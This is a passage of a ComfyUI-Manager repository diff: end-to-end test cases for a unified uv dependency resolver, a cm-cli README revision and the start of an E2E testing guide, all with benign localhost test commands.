"channel": "default"
|
||||
}
|
||||
}'
|
||||
```
|
||||
> Replace `<node-pack-id>` with a real CNR node pack ID (e.g., from the Manager UI).
|
||||
> Alternatively, use the Manager UI to install a node pack.
|
||||
|
||||
3. Check logs after installation
|
||||
|
||||
**Verify**:
|
||||
- Log: `[UnifiedDepResolver] deps deferred to startup batch resolution for <path>`
|
||||
- `Install: pip packages` does NOT appear
|
||||
- After ComfyUI **restart**, the new node pack's deps are included in batch resolution
|
||||
|
||||
---
|
||||
|
||||
## TC-14: Both Unified Resolver Code Paths [P0]
|
||||
|
||||
Verify both code locations that guard per-node pip install behave correctly in unified mode:
|
||||
|
||||
| Path | Guard Variable | Trigger | Location |
|
||||
|------|---------------|---------|----------|
|
||||
| Runtime install | `manager_util.use_unified_resolver` | API install while ComfyUI is running | `glob/manager_core.py` class method (~line 846) |
|
||||
| Startup lazy install | `_unified_resolver_succeeded` | Queued install processed at restart | `prestartup_script.py` `execute_lazy_install_script()` (~line 594) |
|
||||
|
||||
> **Note**: The standalone `execute_install_script()` in `glob/manager_core.py` (~line 1881) also has a unified resolver guard but is reachable via `update-comfyui`, git-based node pack updates, gitclone operations, CLI, and legacy server paths. The guard is identical to the class method; see [Out of Scope](#out-of-scope-deferred).
|
||||
|
||||
**Steps**:
|
||||
|
||||
**Path 1 — Runtime API install (class method)**:
|
||||
```bash
|
||||
# While ComfyUI is running:
|
||||
curl -X POST http://localhost:8199/v2/manager/queue/task \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"ui_id": "test-path1",
|
||||
"client_id": "test-client",
|
||||
"kind": "install",
|
||||
"params": {
|
||||
"id": "<node-pack-id>",
|
||||
"version": "latest",
|
||||
"selected_version": "latest",
|
||||
"mode": "remote",
|
||||
"channel": "default"
|
||||
}
|
||||
}'
|
||||
```
|
||||
|
||||
> Choose a CNR node pack that has both `install.py` and `requirements.txt`.
|
||||
|
||||
**Path 2 — Startup lazy install (`execute_lazy_install_script`)**:
|
||||
1. Create a test node pack with both `install.py` and `requirements.txt`:
|
||||
```bash
|
||||
mkdir -p "$COMFY_ROOT/custom_nodes/test_pack_lazy"
|
||||
echo 'print("lazy install.py executed")' > "$COMFY_ROOT/custom_nodes/test_pack_lazy/install.py"
|
||||
echo "chardet" > "$COMFY_ROOT/custom_nodes/test_pack_lazy/requirements.txt"
|
||||
```
|
||||
2. Manually inject a `#LAZY-INSTALL-SCRIPT` entry into `install-scripts.txt`:
|
||||
```bash
|
||||
SCRIPTS_DIR="$COMFY_ROOT/user/__manager/startup-scripts"
|
||||
mkdir -p "$SCRIPTS_DIR"
|
||||
PYTHON_PATH=$(which python)
|
||||
echo "['$COMFY_ROOT/custom_nodes/test_pack_lazy', '#LAZY-INSTALL-SCRIPT', '$PYTHON_PATH']" \
|
||||
>> "$SCRIPTS_DIR/install-scripts.txt"
|
||||
```
|
||||
3. Start ComfyUI (with `use_unified_resolver = true`)
|
||||
|
||||
**Verify**:
|
||||
- Path 1: `[UnifiedDepResolver] deps deferred to startup batch resolution for <path>` appears, `install.py` runs immediately, `Install: pip packages` does NOT appear
|
||||
- Path 2: `lazy install.py executed` is printed (install.py runs at startup), `Install: pip packages for` does NOT appear for the pack (skipped because `_unified_resolver_succeeded` is True after batch resolution)
|
||||
|
||||
---
|
||||
|
||||
## TC-15: Behavior After Fallback in Same Process [P1]
|
||||
|
||||
**Precondition**: Resolver failed at startup (TC-4 or TC-5 scenario)
|
||||
|
||||
**Steps**:
|
||||
1. Set up conflicting deps (as in TC-4) and start ComfyUI (resolver fails, flag reset to `False`)
|
||||
2. While still running, install a new node pack via API:
|
||||
```bash
|
||||
curl -X POST http://localhost:8199/v2/manager/queue/task \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"ui_id": "test-postfallback",
|
||||
"client_id": "test-client",
|
||||
"kind": "install",
|
||||
"params": {
|
||||
"id": "<node-pack-id>",
|
||||
"version": "latest",
|
||||
"selected_version": "latest",
|
||||
"mode": "remote",
|
||||
"channel": "default"
|
||||
}
|
||||
}'
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- New node pack uses per-node pip install (not deferred)
|
||||
- `Install: pip packages` appears normally
|
||||
- On next restart with conflicts resolved, unified resolver retries if config still `true`
|
||||
|
||||
---
|
||||
|
||||
## TC-16: Generic Exception Fallback [P1]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`, an exception escapes before `resolve_and_install()`
|
||||
|
||||
This covers the `except Exception` handler at `prestartup_script.py` (~line 793), distinct from `UvNotAvailableError` (TC-3) and `ResolveResult` failure (TC-4/TC-5). The generic handler catches errors in the import, `collect_node_pack_paths()`, `collect_base_requirements()`, or `UnifiedDepResolver.__init__()` — all of which run before the resolver's own internal error handling.
|
||||
|
||||
**Steps**:
|
||||
1. Make the `custom_nodes` directory unreadable so `collect_node_pack_paths()` raises a `PermissionError`:
|
||||
```bash
|
||||
chmod a-r "$COMFY_ROOT/custom_nodes"
|
||||
```
|
||||
2. Start ComfyUI
|
||||
3. After test, restore permissions:
|
||||
```bash
|
||||
chmod u+r "$COMFY_ROOT/custom_nodes"
|
||||
```
|
||||
|
||||
**Expected log**:
|
||||
```
|
||||
[UnifiedDepResolver] startup error: ..., falling back to per-node pip
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- `manager_util.use_unified_resolver` is reset to `False`
|
||||
- Falls back to per-node pip install normally
|
||||
- Log pattern is `startup error:` (NOT `startup batch failed:` nor `uv not available`)
|
||||
|
||||
---
|
||||
|
||||
## TC-17: Restart Dependency Detection [P0]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`, automated E2E scripts available
|
||||
|
||||
This test verifies that the resolver correctly detects and installs dependencies for node packs added between restarts, incrementally building the dependency set.
|
||||
|
||||
**Steps**:
|
||||
1. Boot ComfyUI with no custom node packs (Boot 1 — baseline)
|
||||
2. Verify baseline deps only (Manager's own deps)
|
||||
3. Stop ComfyUI
|
||||
4. Clone `ComfyUI-Impact-Pack` into `custom_nodes/`
|
||||
5. Restart ComfyUI (Boot 2)
|
||||
6. Verify Impact Pack deps are installed (`cv2`, `skimage`, `dill`, `scipy`, `matplotlib`)
|
||||
7. Stop ComfyUI
|
||||
8. Clone `ComfyUI-Inspire-Pack` into `custom_nodes/`
|
||||
9. Restart ComfyUI (Boot 3)
|
||||
10. Verify Inspire Pack deps are installed (`cachetools`, `webcolors`)
|
||||
|
||||
**Expected log (each boot)**:
|
||||
```
|
||||
[UnifiedDepResolver] Collected N deps from M sources (skipped S)
|
||||
[UnifiedDepResolver] running: ... uv pip compile ...
|
||||
[UnifiedDepResolver] running: ... uv pip install ...
|
||||
[UnifiedDepResolver] startup batch resolution succeeded
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- Boot 1: ~10 deps from ~10 sources; `cv2`, `dill`, `cachetools` are NOT installed
|
||||
- Boot 2: ~19 deps from ~18 sources; `cv2`, `skimage`, `dill`, `scipy`, `matplotlib` all importable
|
||||
- Boot 3: ~24 deps from ~21 sources; `cachetools`, `webcolors` also importable
|
||||
- Both packs show as loaded in logs
|
||||
|
||||
**Automation**: Use `tests/e2e/scripts/` (setup → start → stop) with node pack cloning between boots.
|
||||
|
||||
---
|
||||
|
||||
## TC-18: Real Node Pack Integration [P0]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`, network access to GitHub + PyPI
|
||||
|
||||
Full pipeline test with real-world node packs (`ComfyUI-Impact-Pack` + `ComfyUI-Inspire-Pack`) to verify the resolver handles production requirements.txt files correctly.
|
||||
|
||||
**Steps**:
|
||||
1. Set up E2E environment
|
||||
2. Clone both Impact Pack and Inspire Pack into `custom_nodes/`
|
||||
3. Direct-mode: instantiate `UnifiedDepResolver`, call `collect_requirements()` and `resolve_and_install()`
|
||||
4. Boot-mode: start ComfyUI and verify via logs
|
||||
|
||||
**Expected behavior (direct mode)**:
|
||||
```
|
||||
--- Discovered node packs (3) --- # Manager, Impact, Inspire
|
||||
ComfyUI-Impact-Pack
|
||||
ComfyUI-Inspire-Pack
|
||||
ComfyUI-Manager
|
||||
|
||||
--- Phase 1: Collect Requirements ---
|
||||
Total requirements: ~24
|
||||
Skipped: 1 # SAM2 git+https:// URL
|
||||
Extra index URLs: set()
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- `git+https://github.com/facebookresearch/sam2.git` is correctly rejected with "rejected path separator"
|
||||
- All other dependencies are collected and resolved
|
||||
- After install, `cv2`, `PIL`, `scipy`, `skimage`, `matplotlib` are all importable
|
||||
- No conflicting version errors during compile
|
||||
|
||||
**Automation**: Use `tests/e2e/scripts/` (setup → clone packs → start) with direct-mode resolver invocation.
|
||||
|
||||
---
|
||||
|
||||
## Validated Behaviors (from E2E Testing)
|
||||
|
||||
The following behaviors were confirmed during manual E2E testing:
|
||||
|
||||
### Resolver Pipeline
|
||||
- **3-phase pipeline**: Collect → `uv pip compile` → `uv pip install` works end-to-end
|
||||
- **Incremental detection**: Resolver discovers new node packs on each restart without reinstalling existing deps
|
||||
- **Dependency deduplication**: Overlapping deps from multiple packs are resolved to compatible versions
|
||||
|
||||
### Security & Filtering
|
||||
- **`git+https://` rejection**: URLs like `git+https://github.com/facebookresearch/sam2.git` are rejected with "rejected path separator" — SAM2 is the only dependency skipped from Impact Pack
|
||||
- **Blacklist filtering**: `PackageRequirement` objects have `.name`, `.spec`, `.source` attributes; `collected.skipped` returns `[(spec_string, reason_string)]` tuples
|
||||
|
||||
### Manager Integration
|
||||
- **Manager v4 endpoints**: All endpoints use `/v2/` prefix (e.g., `/v2/manager/queue/status`)
|
||||
- **`Blocked by policy`**: Expected when Manager is pip-installed and also symlinked in `custom_nodes/`; prevents legacy double-loading
|
||||
- **config.ini path**: Must be at `$COMFY_ROOT/user/__manager/config.ini`, not in the symlinked Manager dir
|
||||
|
||||
### Environment
|
||||
- **PYTHONPATH requirement**: `comfy` is a local package (not pip-installed); `comfyui_manager` imports from `comfy`, so both require `PYTHONPATH=$COMFY_ROOT`
|
||||
- **HOME isolation**: `HOME=$E2E_ROOT/home` prevents host config contamination during boot
|
||||
|
||||
---
|
||||
|
||||
## Summary
|
||||
|
||||
| TC | P | Scenario | Key Verification |
|
||||
|----|---|----------|------------------|
|
||||
| 1 | P0 | Normal batch resolution | compile → install pipeline |
|
||||
| 2 | P1 | Disabled state | No impact on existing behavior |
|
||||
| 3 | P0 | uv unavailable fallback | Flag reset + per-node resume |
|
||||
| 4 | P0 | Compile failure fallback | Flag reset + per-node resume |
|
||||
| 5 | P0 | Install failure fallback | Flag reset + per-node resume |
|
||||
| 6 | P0 | install.py preserved | deps defer, install.py immediate |
|
||||
| 7 | P0 | Dangerous pattern rejection | Security filtering |
|
||||
| 8 | P0 | Path separator rejection | `/` and `\` in package names |
|
||||
| 9 | P0 | index-url separation | All 4 variants + dedup |
|
||||
| 10 | P0 | Credential redaction | Log security |
|
||||
| 11 | P1 | Disabled packs excluded | Both `.disabled/` and `.disabled` suffix |
|
||||
| 12 | P2 | No dependencies | Empty pipeline |
|
||||
| 13 | P1 | Runtime install defer | Defer until restart |
|
||||
| 14 | P0 | Both unified resolver paths | runtime API (class method) + startup lazy install |
|
||||
| 15 | P1 | Post-fallback behavior | Per-node pip resumes in same process |
|
||||
| 16 | P1 | Generic exception fallback | Distinct from uv-absent and batch-failed |
|
||||
| 17 | P0 | Restart dependency detection | Incremental node pack discovery across restarts |
|
||||
| 18 | P0 | Real node pack integration | Impact + Inspire Pack full pipeline |
|
||||
| CLI-1 | P0 | CLI normal batch resolution | exit 0, deps installed |
|
||||
| CLI-2 | P1 | CLI no custom nodes | exit 0, graceful empty |
|
||||
| CLI-3 | P0 | CLI uv unavailable | exit 1, error message |
|
||||
| CLI-4 | P0 | CLI conflicting deps | exit 1, resolution failed |
|
||||
| CLI-5 | P0 | CLI dangerous pattern skip | exit 0, dangerous skipped |
|
||||
| CLI-6 | P0 | install --uv-compile single | per-node pip skipped, batch resolve |
|
||||
| CLI-7 | P0 | install --uv-compile multi | batch once after all installs |
|
||||
|
||||
### Traceability
|
||||
|
||||
| Feature Requirement | Test Cases |
|
||||
|---------------------|------------|
|
||||
| FR-1: Dependency collection | TC-1, TC-11, TC-12 |
|
||||
| FR-2: Input sanitization | TC-7, TC-8, TC-10 |
|
||||
| FR-3: Index URL handling | TC-9 |
|
||||
| FR-4: Batch resolution (compile) | TC-1, TC-4 |
|
||||
| FR-5: Batch install | TC-1, TC-5 |
|
||||
| FR-6: install.py preserved | TC-6, TC-14 |
|
||||
| FR-7: Startup batch integration | TC-1, TC-2, TC-3 |
|
||||
| Fallback behavior | TC-3, TC-4, TC-5, TC-15, TC-16 |
|
||||
| Disabled node pack exclusion | TC-11 |
|
||||
| Runtime defer behavior | TC-13, TC-14 |
|
||||
| FR-8: Restart discovery | TC-17 |
|
||||
| FR-9: Real-world compatibility | TC-17, TC-18 |
|
||||
| FR-2: Input sanitization (git URLs) | TC-8, TC-18 |
|
||||
| FR-10: CLI batch resolution | TC-CLI-1, TC-CLI-2, TC-CLI-3, TC-CLI-4, TC-CLI-5 |
|
||||
| FR-11: CLI install --uv-compile | TC-CLI-6, TC-CLI-7 |
|
||||
+32
-59
@@ -7,39 +7,40 @@
|
||||
-= ComfyUI-Manager CLI (V2.24) =-
|
||||
|
||||
|
||||
cm-cli [OPTIONS]
|
||||
python cm-cli.py [OPTIONS]
|
||||
|
||||
OPTIONS:
|
||||
[install|reinstall|uninstall|update|disable|enable|fix] node_name ... ?[--channel <channel name>] ?[--mode [remote|local|cache]]
|
||||
[install|reinstall|update|fix] node_name ... ?[--uv-compile]
|
||||
[update|disable|enable|fix] all ?[--channel <channel name>] ?[--mode [remote|local|cache]]
|
||||
[update|fix] all ?[--uv-compile]
|
||||
[simple-show|show] [installed|enabled|not-installed|disabled|all|snapshot|snapshot-list] ?[--channel <channel name>] ?[--mode [remote|local|cache]]
|
||||
save-snapshot ?[--output <snapshot .json/.yaml>]
|
||||
restore-snapshot <snapshot .json/.yaml> ?[--pip-non-url] ?[--pip-non-local-url] ?[--pip-local-url] ?[--uv-compile]
|
||||
restore-dependencies ?[--uv-compile]
|
||||
install-deps <deps.json> ?[--channel <channel name>] ?[--mode [remote|local|cache]] ?[--uv-compile]
|
||||
uv-compile
|
||||
restore-snapshot <snapshot .json/.yaml> ?[--pip-non-url] ?[--pip-non-local-url] ?[--pip-local-url]
|
||||
cli-only-mode [enable|disable]
|
||||
restore-dependencies
|
||||
clear
|
||||
```
|
||||
|
||||
## How To Use?
|
||||
* You can execute it via the `cm-cli` command.
|
||||
* You can execute it via `python cm-cli.py`.
|
||||
* For example, if you want to update all custom nodes:
|
||||
* `cm-cli update all`
|
||||
* In the ComfyUI-Manager directory, you can execute the command `python cm-cli.py update all`.
|
||||
* If running from the ComfyUI directory, you can specify the path to cm-cli.py like this: `python custom_nodes/ComfyUI-Manager/cm-cli.py update all`.
|
||||
|
||||
## Prerequisite
|
||||
* It must be run in the same Python environment as the one running ComfyUI.
|
||||
* If using a venv, you must run it with the venv activated.
|
||||
* If using a portable version, and you are in the directory with the run_nvidia_gpu.bat file, you should execute the command as follows:
|
||||
`.\python_embeded\python.exe -m cm_cli update all`
|
||||
* The path for ComfyUI must be set with the `COMFYUI_PATH` environment variable.
|
||||
`.\python_embeded\python.exe ComfyUI\custom_nodes\ComfyUI-Manager\cm-cli.py update all`
|
||||
* The path for ComfyUI can be set with the COMFYUI_PATH environment variable. If omitted, a warning message will appear, and the path will be set relative to the installed location of ComfyUI-Manager:
|
||||
```
|
||||
WARN: The `COMFYUI_PATH` environment variable is not set. Assuming `custom_nodes/ComfyUI-Manager/../../` as the ComfyUI path.
|
||||
```
|
||||
|
||||
## Features
|
||||
|
||||
### 1. --channel, --mode
|
||||
* For viewing information and managing custom nodes, you can set the information database through --channel and --mode.
|
||||
* For instance, executing the command `cm-cli update all --channel recent --mode remote` will operate based on the latest information from remote rather than local data embedded in the current ComfyUI-Manager repo and will only target the list in the recent channel.
|
||||
* For instance, executing the command `python cm-cli.py update all --channel recent --mode remote` will operate based on the latest information from remote rather than local data embedded in the current ComfyUI-Manager repo and will only target the list in the recent channel.
|
||||
* --channel, --mode are only available with the commands `simple-show, show, install, uninstall, update, disable, enable, fix`.
|
||||
|
||||
### 2. Viewing Management Information
|
||||
@@ -48,7 +49,7 @@ OPTIONS:
|
||||
|
||||
* `[show|simple-show]` - `show` provides detailed information, while `simple-show` displays information more simply.
|
||||
|
||||
Executing a command like `cm-cli show installed` will display detailed information about the installed custom nodes.
|
||||
Executing a command like `python cm-cli.py show installed` will display detailed information about the installed custom nodes.
|
||||
|
||||
```
|
||||
-= ComfyUI-Manager CLI (V2.24) =-
|
||||
@@ -65,7 +66,7 @@ FETCH DATA from: https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main
|
||||
[ DISABLED ] ComfyUI-Loopchain (author: Fannovel16)
|
||||
```
|
||||
|
||||
Using a command like `cm-cli simple-show installed` will simply display information about the installed custom nodes.
|
||||
Using a command like `python cm-cli.py simple-show installed` will simply display information about the installed custom nodes.
|
||||
|
||||
```
|
||||
-= ComfyUI-Manager CLI (V2.24) =-
|
||||
@@ -94,7 +95,7 @@ ComfyUI-Loopchain
|
||||
|
||||
`[install|reinstall|uninstall|update|disable|enable|fix] node_name ... ?[--channel <channel name>] ?[--mode [remote|local|cache]]`
|
||||
|
||||
* You can apply management functions by listing the names of custom nodes, such as `cm-cli install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack ComfyUI_experiments`.
|
||||
* You can apply management functions by listing the names of custom nodes, such as `python cm-cli.py install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack ComfyUI_experiments`.
|
||||
* The names of the custom nodes are as shown by `show` and are the names of the git repositories.
|
||||
(Plans are to update the use of nicknames in the future.)
|
||||
|
||||
@@ -111,27 +112,11 @@ ComfyUI-Loopchain
|
||||
* `enable`: Enables the specified custom nodes.
|
||||
* `fix`: Attempts to fix dependencies for the specified custom nodes.
|
||||
|
||||
#### `--uv-compile` flag (`install`, `reinstall`, `update`, `fix`)
|
||||
|
||||
When `--uv-compile` is specified, per-node pip installs are skipped during node operations.
|
||||
After all operations complete, `uv pip compile` resolves the full dependency graph in one batch.
|
||||
|
||||
* Requires `uv` to be installed.
|
||||
* Prevents dependency conflicts between multiple node packs.
|
||||
* On resolution failure, displays conflicting packages and which node packs requested them.
|
||||
* `reinstall --uv-compile` is mutually exclusive with `--no-deps`.
|
||||
|
||||
```bash
|
||||
cm-cli install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack --uv-compile
|
||||
cm-cli update all --uv-compile
|
||||
cm-cli fix ComfyUI-Impact-Pack --uv-compile
|
||||
```
|
||||
|
||||
|
||||
### 4. Snapshot Management
|
||||
* `cm-cli save-snapshot [--output <snapshot .json/.yaml>]`: Saves the current snapshot.
|
||||
* `python cm-cli.py save-snapshot [--output <snapshot .json/.yaml>]`: Saves the current snapshot.
|
||||
* With `--output`, you can save a file in .yaml format to any specified path.
|
||||
* `cm-cli restore-snapshot <snapshot .json/.yaml>`: Restores to the specified snapshot.
|
||||
* `python cm-cli.py restore-snapshot <snapshot .json/.yaml>`: Restores to the specified snapshot.
|
||||
* If a file exists at the snapshot path, that snapshot is loaded.
|
||||
* If no file exists at the snapshot path, it is implicitly assumed to be in ComfyUI-Manager/snapshots.
|
||||
* `--pip-non-url`: Restore for pip packages registered on PyPI.
|
||||
@@ -140,35 +125,23 @@ cm-cli fix ComfyUI-Impact-Pack --uv-compile
|
||||
* `--user-directory`: Set the user directory.
|
||||
* `--restore-to`: The path where the restored custom nodes will be installed. (When this option is applied, only the custom nodes installed in the target path are recognized as installed.)
|
||||
|
||||
### 5. Dependency Restoration
|
||||
### 5. CLI Only Mode
|
||||
|
||||
`restore-dependencies ?[--uv-compile]`
|
||||
You can set whether to use ComfyUI-Manager solely via CLI.
|
||||
|
||||
`cli-only-mode [enable|disable]`
|
||||
|
||||
* This mode can be used if you want to restrict the use of ComfyUI-Manager through the GUI for security or policy reasons.
|
||||
* When CLI only mode is enabled, ComfyUI-Manager is loaded in a very restricted state, the internal web API is disabled, and the Manager button is not displayed in the main menu.
|
||||
|
||||
### 6. Dependency Restoration
|
||||
|
||||
`restore-dependencies`
|
||||
|
||||
* This command can be used if custom nodes are installed under the `ComfyUI/custom_nodes` path but their dependencies are not installed.
|
||||
* It is useful when starting a new cloud instance, like Colab, where dependencies need to be reinstalled and installation scripts re-executed.
|
||||
* It is useful when starting a new cloud instance, like colab, where dependencies need to be reinstalled and installation scripts re-executed.
|
||||
* It can also be utilized if ComfyUI is reinstalled and only the custom_nodes path has been backed up and restored.
|
||||
* Use `--uv-compile` to skip per-node pip installs and resolve all dependencies in one batch instead.
|
||||
|
||||
### 6. Install from Dependency File
|
||||
### 7. Clear
|
||||
|
||||
`install-deps <deps.json> ?[--channel <channel name>] ?[--mode [remote|local|cache]] ?[--uv-compile]`
|
||||
|
||||
* Installs custom nodes specified in a dependency spec file (`.json`) or workflow file (`.png`/`.json`).
|
||||
* Use `--uv-compile` to batch-resolve all dependencies after installation instead of per-node pip.
|
||||
|
||||
### 7. uv-compile
|
||||
|
||||
`uv-compile ?[--user-directory <path>]`
|
||||
|
||||
* Batch-resolves and installs all custom node pack dependencies using `uv pip compile`.
|
||||
* Useful for environment recovery or initial setup without starting ComfyUI.
|
||||
* Requires `uv` to be installed.
|
||||
|
||||
```bash
|
||||
cm-cli uv-compile
|
||||
cm-cli uv-compile --user-directory /path/to/comfyui
|
||||
```
|
||||
|
||||
### 8. Clear
|
||||
|
||||
In the GUI, installations, updates, or snapshot restorations are scheduled to execute the next time ComfyUI is launched. The `clear` command clears this scheduled state, ensuring no pre-execution actions are applied.
|
||||
In the GUI, installations, updates, or snapshot restorations are scheduled to execute the next time ComfyUI is launched. The `clear` command clears this scheduled state, ensuring no pre-execution actions are applied.
|
||||
@@ -1,349 +0,0 @@
|
||||
# GUIDE_E2E_TEST — ComfyUI-Manager E2E Test Guide
|
||||
|
||||
> Auto-generated by pair-scaffold (test-guide mode). Domain: **api** (primary)
|
||||
> with mixed **web** (Playwright UI) + **cli** (cm-cli subprocess) elements.
|
||||
> Date: 2026-04-21.
|
||||
|
||||
This guide consolidates session-wide E2E knowledge accumulated through the
|
||||
WI-A..WI-ZZ sweep. It is the entry point for writing, running, and auditing
|
||||
end-to-end tests against the ComfyUI-Manager backend (glob + legacy) and
|
||||
the legacy management UI. Companion registry of reusable test patterns:
|
||||
`.claude/scaffold/e2e-methods.yml`.
|
||||
|
||||
---
|
||||
|
||||
## 1. Testing Strategy
|
||||
|
||||
Three test surfaces cover different contract layers. Pick the surface that
|
||||
matches the contract you are validating — do not default to "everything".
|
||||
|
||||
| Surface | Location | Transport | Authoritative for |
|
||||
|---------|----------|-----------|-------------------|
|
||||
| **pytest E2E** | `tests/e2e/*.py` | Direct HTTP via `requests` against running aiohttp server | Endpoint contract (status, schema, side-effect, CSRF) |
|
||||
| **Playwright UI (real)** | `tests/playwright/legacy-ui-*.spec.ts` | Browser click → real backend | UI↔backend wiring against actual server state |
|
||||
| **Playwright UI (mock)** | `tests/playwright/legacy-ui-mock-*.spec.ts` | Browser click → `page.route()` intercept | UI→API request shape (URL / method / payload) without backend mutation |
|
||||
| **CLI subprocess** | `tests/cli/test_uv_compile.py` | `subprocess.run()` against `cm-cli` | CLI command contract (args, exit code, stdout/stderr) |
|
||||
|
||||
**Layering rule**: when both pytest and Playwright can cover a behavior, use
|
||||
pytest for backend contract and Playwright for UI wiring. Mock Playwright is
|
||||
acceptable ONLY when real execution is infeasible (security gate, destructive
|
||||
operation, long-running network) — flag it in the test name suffix
|
||||
(`-mock` / `WI-WW-mock`) and document the honesty boundary (§6 below).
|
||||
|
||||
---
|
||||
|
||||
## 2. Test Categories
|
||||
|
||||
| Category | Description | Location | Tools |
|
||||
|----------|-------------|----------|-------|
|
||||
| pytest E2E direct | Endpoint contract via HTTP | `tests/e2e/` | `requests` + `pytest` |
|
||||
| pytest E2E negative | CSRF / 400 / input validation | `tests/e2e/test_e2e_csrf*.py` | `requests` |
|
||||
| Playwright real | UI click → real backend | `tests/playwright/legacy-ui-*.spec.ts` | `@playwright/test` |
|
||||
| Playwright mock | UI click → `page.route` mocked response | `tests/playwright/legacy-ui-mock-*.spec.ts` | `@playwright/test` `page.route` |
|
||||
| CLI subprocess | cm-cli end-to-end | `tests/cli/` | `pytest` + `subprocess.run` |
|
||||
|
||||
---
|
||||
|
||||
## 3. Critical Environment Requirements
|
||||
|
||||
**MUST read before writing any E2E test.** These are not optional; every one
|
||||
cost at least one debugging cycle in the sweep.
|
||||
|
||||
### 3.1 Editable install requirement
|
||||
|
||||
After editing source under `comfyui_manager/`, re-run `uv pip install -e .`
|
||||
inside the E2E venv. A running server uses whatever source the venv
|
||||
registered at startup — stale source means stale behaviour. After commit
|
||||
`99caef55` (CSRF state-changing-endpoint conversion), skipping this step
|
||||
caused POST routes to return 405 because the test venv still had the
|
||||
pre-conversion routing table.
|
||||
|
||||
### 3.2 Legacy vs glob mutex
|
||||
|
||||
`comfyui_manager/__init__.py:14-45` loads EITHER the glob manager OR the
|
||||
legacy manager — never both. Use the fixture script that matches the
|
||||
contract under test:
|
||||
|
||||
| Script | Manager | Extra flags |
|
||||
|--------|---------|-------------|
|
||||
| `tests/e2e/scripts/start_comfyui.sh` | glob | none |
|
||||
| `tests/e2e/scripts/start_comfyui_legacy.sh` | legacy | `--enable-manager-legacy-ui` |
|
||||
| `tests/e2e/scripts/start_comfyui_strict.sh` | glob | patches `config.ini` to `security_level = strong` (for negative-path `403` tests on `middle` / `middle+` gates) |
|
||||
| `tests/e2e/scripts/start_comfyui_permissive.sh` | legacy + relaxed | patches `config.ini` to `security_level = normal-` and sets `ENABLE_LEGACY_UI=1` (for positive-path tests on `high+` gates: `comfyui_switch_version`, `install/git_url`, `install/pip`) |
|
||||
|
||||
Mixing them in the same suite is an error — pytest modules that exercise
|
||||
legacy-only endpoints MUST live in `test_e2e_legacy_*.py` so the fixture can
|
||||
select the legacy script.
|
||||
|
||||
### 3.3 Port namespace + PID files
|
||||
|
||||
All fixture scripts write `$LOG_DIR/comfyui.${PORT}.pid`. Default ports:
|
||||
|
||||
| Manager | Default PORT | PID file |
|
||||
|---------|:---:|----------|
|
||||
| glob | 8188 | `$LOG_DIR/comfyui.8188.pid` |
|
||||
| legacy | 8199 | `$LOG_DIR/comfyui.8199.pid` |
|
||||
| strict | 8188 | `$LOG_DIR/comfyui.8188.pid` |
|
||||
|
||||
Because the PID file is per-port, glob + legacy suites can run concurrently
|
||||
if they pick distinct ports. Never hard-code `8188` / `8199` in your
|
||||
assertions — read `PORT` from env.
|
||||
|
||||
### 3.4 Safety env var — manager_requirements skip
|
||||
|
||||
`start_comfyui.sh` exports `COMFYUI_MANAGER_SKIP_MANAGER_REQUIREMENTS=1`
|
||||
(added in WI-WW/WI-YY). Any install/update code path that would otherwise
|
||||
reinstall `manager_requirements.txt` sees this flag and skips. Real install
|
||||
tests (e.g. `test_e2e_legacy_real_ops.py::TestInstallModelRealDownload`)
|
||||
depend on this — without it the test server would re-pin its own
|
||||
dependencies mid-test and fail randomly.
|
||||
|
||||
### 3.5 E2E_ROOT
|
||||
|
||||
`$E2E_ROOT` is the venv root + artifact directory produced by
|
||||
`tests/e2e/scripts/setup_e2e_env.sh`. All fixture scripts source from it.
|
||||
Export it once per shell session, or pass it per-command:
|
||||
|
||||
```bash
|
||||
export E2E_ROOT=</path/to/your/e2e-root> # one-time
|
||||
```
|
||||
|
||||
**Portability**: never hard-code the absolute path inside test code. Read
|
||||
from `os.environ["E2E_ROOT"]` or let the fixture script resolve it.
|
||||
|
||||
---
|
||||
|
||||
## 4. Fixture Patterns
|
||||
|
||||
### 4.1 `comfyui` module-scoped fixture
|
||||
|
||||
`tests/e2e/conftest.py` defines a module-scoped `comfyui` fixture that:
|
||||
|
||||
1. Invokes `start_comfyui.sh` with the current PORT.
|
||||
2. Blocks until the server accepts requests (or timeout).
|
||||
3. Yields the server URL for the test.
|
||||
4. Tears down with `stop_comfyui.sh` (kills the PID in the `.pid` file).
|
||||
|
||||
### 4.2 Fixture variants
|
||||
|
||||
| Variant | Fixture script | Extra setup |
|
||||
|---------|---------------|-------------|
|
||||
| glob (default) | `start_comfyui.sh` | PORT=8188 |
|
||||
| legacy | `start_comfyui_legacy.sh` | PORT=8199, `ENABLE_LEGACY_UI=1` |
|
||||
| strict | `start_comfyui_strict.sh` | Patches `config.ini` to `security_level = strong` (backup at `config.ini.before-strict`); fixture MUST restore on teardown. Used for negative-path `403` assertions on `middle` / `middle+` gates. |
|
||||
| permissive | `start_comfyui_permissive.sh` | Patches `config.ini` to `security_level = normal-` (backup at `config.ini.before-permissive`) and sets `ENABLE_LEGACY_UI=1`; fixture MUST restore on teardown. Used for positive-path execution of `high+` gated endpoints (`comfyui_switch_version`, `install/git_url`, `install/pip`) with hardcoded trusted inputs. |
|
||||
|
||||
### 4.3 Example invocation
|
||||
|
||||
```bash
|
||||
E2E_ROOT=$E2E_ROOT $E2E_ROOT/venv/bin/python -m pytest \
|
||||
tests/e2e/test_e2e_legacy_endpoints.py -v --timeout=300
|
||||
```
|
||||
|
||||
Use the venv's interpreter explicitly (`$E2E_ROOT/venv/bin/python`) — not
|
||||
the system `python` — so the test runs against the editable install from
|
||||
§3.1.
|
||||
|
||||
---
|
||||
|
||||
## 5. Test Design Patterns
|
||||
|
||||
Distilled from the sweep. Match the pattern to your contract; do not
|
||||
invent new patterns without recording them in
|
||||
`.claude/scaffold/e2e-methods.yml`.
|
||||
|
||||
### 5.1 Positive-path
|
||||
|
||||
